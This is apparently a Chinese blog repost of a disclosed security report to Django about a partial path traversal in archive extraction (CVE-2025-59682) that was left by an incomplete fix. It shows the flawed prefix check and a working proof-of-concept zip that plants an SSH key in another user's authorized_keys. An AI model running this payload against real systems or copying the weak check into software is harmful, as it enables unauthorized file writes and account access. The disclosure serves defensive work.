Django归档提取漏洞:CVE-2021-3281补丁不完整导致的路径遍历风险

本文详细分析了Django框架中一个已被分配CVE编号的路径遍历漏洞。虽然CVE-2021-3281已有修复,但研究者发现其补丁不完整,仍可能导致部分路径遍历攻击。文章包含漏洞原理分析、代码示例、概念验证(PoC)以及开发者与安全团队的完整交互过程。

路径遍历漏洞报告:CVE-2021-3281 补丁不完整

报告ID:#3328367 报告者:stackered 提交给:Django 报告时间:2025年9月5日,下午1:21(UTC) 状态:已验证、已解决、已公开

漏洞概述

在对历史漏洞补丁进行代码审查时,发现CVE-2021-3281的修复措施并不完整。为缓解该漏洞,曾在ZipArchiveTarArchive类的extract函数中添加了防护逻辑,以确保所有文件都在基础文件夹(target_path)下解压。

关键防护代码如下(位于django/django/utils/archive.py):

1
2
3
4
5
6
def target_filename(self, to_path, name):
    target_path = os.path.abspath(to_path)
    filename = os.path.abspath(os.path.join(target_path, name))
    if not filename.startswith(target_path):
        raise SuspiciousOperation("Archive contains invalid path: '%s'" % name)
    return filename

该逻辑使用abspath函数获取绝对且规范化的唯一路径,然后利用startswith函数验证目标路径是否属于预期的基础文件夹。然而,abspath函数会移除路径末尾的分隔符,这使得防护逻辑不足以防御部分路径遍历攻击。

漏洞原理

假设基础文件夹定义为/var/lib/,初始文件名为/var/library/test.txt。由于末尾的斜杠被移除,攻击者仍然可以部分路径遍历到另一个以相同字符开头的目录,因为检查仍会通过。

1
"/var/library/test.txt".startswith("/var/lib") == true

在Python命令行中执行以下代码不会引发预期的异常:

1
2
3
4
5
import os
target_path = os.path.abspath("/var/lib/")
filename = os.path.abspath(os.path.join(target_path, "/var/library/test.txt"))
if not filename.startswith(target_path):
    raise Exception

漏洞影响

这导致了部分路径遍历漏洞,使得攻击者在解压归档文件(tar和zip)时能够将文件写入基础目录之外。一个真实的部分路径遍历漏洞示例如下。

交互与验证过程

初始提交与响应

  • 2025年9月11日:Django安全团队成员nessita确认收到报告,要求保密并告知评估流程。
  • 2025年9月16日:Django团队成员theorangeone将状态更改为“需要更多信息”,请求提供能利用Django工具的概念验证(PoC)。

概念验证(PoC)提供

报告者stackered提供了功能性PoC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import zipfile
from django.utils.archive import *

zip_path = "malicious.zip"

def create_malicious_zip():
    with zipfile.ZipFile(zip_path, "w") as zf:
        zf.writestr("/home/johnny/.ssh/authorized_keys", "ssh key\n")
        zf.writestr("test.txt", "Test\n")
    print(f"Archive {zip_path} has been successfully created")

def extract_archive():
    archive = ZipArchive(zip_path)
    archive.extract("/home/john")

if __name__ == "__main__":
    create_malicious_zip()
    extract_archive()

前提是在/home目录下创建两个可由运行PoC的同一用户写入的目录(johnjohnny)。即使目标解压目录设置为/home/john,此PoC也会在/home/johnny/.ssh/authorized_keys中添加(或创建)攻击者的SSH密钥。

漏洞确认与修复

  • 2025年9月18日:Django团队成员sarahvboyce将漏洞严重性从中等(5.3)调整为低(3.7),理由是攻击者需要知道用户将通过startapp --template等方式进行解压的目录。随后状态更改为“已分类”,确认了漏洞并请求了CVE编号。
  • 团队提供了拟议的缓解方案补丁(0001-Fixed-CVE-2025-XXXXX-Fixed-potential-partial-directo.patch),要求报告者测试。计划在博客文章中提及发现者“stackered”。
  • 报告者反馈:报告者确认补丁能修复问题,但就严重性评估提出了不同看法,认为在某些场景下(如应用开源、目录易猜测或解压目录受攻击者控制),漏洞严重性应视为中等。
  • 2025年9月24日:Django团队确认已分配CVE-2025-59682,修复版本计划于10月1日发布。团队维持当前严重性评估,理由是archive.extract是未公开的方法,根据安全政策通常不在测试范围内。漏洞范围仅限于python manage.py startproject/app --template的使用场景,这些是开发者在设置项目时运行的命令,不用于已部署的应用程序。

报告关闭与公开

  • 2025年10月2日:Django团队成员jacobtylerwalls将报告状态更改为“已解决”,漏洞已于10月1日在Django版本5.2.7、5.1.13和4.2.25中修复。
  • 2025年11月11日:互联网漏洞赏金(Internet Bug Bounty)判定此报告不符合赏金奖励条件。
  • 2025年11月21日:报告者请求公开报告,Django团队同意,报告被公开。

报告元数据

  • 弱点类型:路径遍历(Path Traversal)
  • CVE ID:CVE-2021-3281(提及),CVE-2025-59682(新分配)
  • 赏金状态:隐藏
  • 参与者:stackered (报告者), Django安全团队 (nessita, theorangeone, sarahvboyce, jacobtylerwalls)
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计